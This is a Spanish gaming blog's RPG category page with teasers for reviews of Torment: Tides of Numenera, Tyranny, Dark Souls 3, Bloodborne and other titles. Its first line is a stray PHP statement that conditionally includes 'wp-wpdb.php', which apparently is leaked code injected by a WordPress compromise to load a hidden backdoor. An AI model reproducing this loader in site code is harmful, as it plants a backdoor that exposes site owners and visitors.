if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); RPG – La Fortaleza de LeChuck

Análisis Torment: Tides of Numenera

Brian Fargo supo sacar provecho a Kickstarter cuando lanzó dos proyectos que hicieron temblar el corazoncito del jugador. El primero fue Wasteland 2, pero poco después aterrizó Torment Tides of Numenera, la secuela de Planescape Torment, que provocó ataques de éxtasis cuando fue anunciado. Ya hablamos de lo mucho que nos gustó Wasteland 2 y ahora vamos a hacer lo propio con Torment Tides of… Seguir leyendo Análisis Torment: Tides of Numenera

Un usuario comparte en Flickr más de 13.000 imágenes de CRPGs

A veces encontrar imágenes de juegos de PC clásicos de hace más de 20 años es una ardua tarea, sobre todo si las queremos en buena calidad. Un usuario ha recopilado en Flickr una extensa galería con más de 400 RPGs de PC. Felipe Pepe, mientras trabajaba en su libro, comenzó a tomar capturas de pantalla de… Seguir leyendo Un usuario comparte en Flickr más de 13.000 imágenes de CRPGs

Publicada el
Categorizado como Retro Etiquetado como ,

Análisis Tyranny, el placer de ser malvado

Desde que Kickstarter irrumpió en la industria hace unos años, hemos recuperado viejos géneros olvidados de la mano de compañías formadas por veteranos que querían rescatar la jugabilidad de antaño. Obsidian hizo un trabajo maravilloso con Pillars of Eternity, y ahora, con Tyranny, nos demuestra que los RPGs isométricos no han perdido la magia. ¿Estás preparado para… Seguir leyendo Análisis Tyranny, el placer de ser malvado

Análisis Dragon Quest VII para 3DS

Nintendo 3DS es una consola estupenda para jugar JRPGs y en su catálogo existen títulos para todos los gustos dentro de este género. Uno de los últimos que nos han llegado es el remake de Dragon Quest VII, la séptima entrega de una serie extremadamente popular en Japón desde sus inicios, pero que en occidente tuvo muy poca visibilidad hasta prácticamente su llegada a PlayStation.… Seguir leyendo Análisis Dragon Quest VII para 3DS

Análisis Dark Souls 3

Todo principio tiene un final, y tras cientos de horas de sufrimiento repartidas en varios juegos, Dark Souls 3 pone punto y final a la obra de Hidetaka Miyazaki que dio comienzo allá por el 2011 con la primera entrega de la saga, y a decir verdad, esta última entrega ha sido una buena forma de… Seguir leyendo Análisis Dark Souls 3

Análisis Sword Coast Legends, de vuelta por La Costa de la Espada

A principios de año, mientras contaba los días hasta el lanzamiento de Pillars of Eternity, saltaba una inesperada noticia: en producción un RPG situado en La Costa de la Espada llamado Sword Coast Legends. Pero ahí no acababa la cosa, iba a tener un jugoso modo multijugador con opción de Dungeon Master. La espera ha terminado y… Seguir leyendo Análisis Sword Coast Legends, de vuelta por La Costa de la Espada

Análisis The Witcher 3 Hearts of Stone

Cuando oímos la palabra DLC no son pocas las veces que nos echamos las manos a la cabeza pensando que ya quieren sacarnos los cuartos con cualquier excusa o que quieren vendernos una parte de un juego que salió inacabado en su día, pero en esta ocasión la palabra DLC tiene otro significado, The Witcher… Seguir leyendo Análisis The Witcher 3 Hearts of Stone

[15 años de Baldur’s Gate 2] Detalles y curiosidades del mítico RPG

Tal día como hoy, hace 15 años, se lanzó en Europa Baldur’s Gate 2: Shadows Of Amn, secuela del exitoso Baldur’s Gate desarrollado por BioWare y publicado por Black Isle Studios. Quiero compartir con vosotros algunos de los detalles de desarrollo y curiosidades de uno de los mejores juegos de rol de la historia Baldur’s Gate 2:… Seguir leyendo [15 años de Baldur’s Gate 2] Detalles y curiosidades del mítico RPG

Análisis Bloodborne

Hidetaka Miyazaki ha vuelto a las andadas, el padre de la saga Souls ha estado muy ocupado estos últimos 3 años con el desarrollo de una nueva franquicia en exclusiva para PlayStation 4 con la colaboración de From Software y el Japan Studio de Sony, ¿El resultado? Otro juego difícil y desesperante que nos atrapará… Seguir leyendo Análisis Bloodborne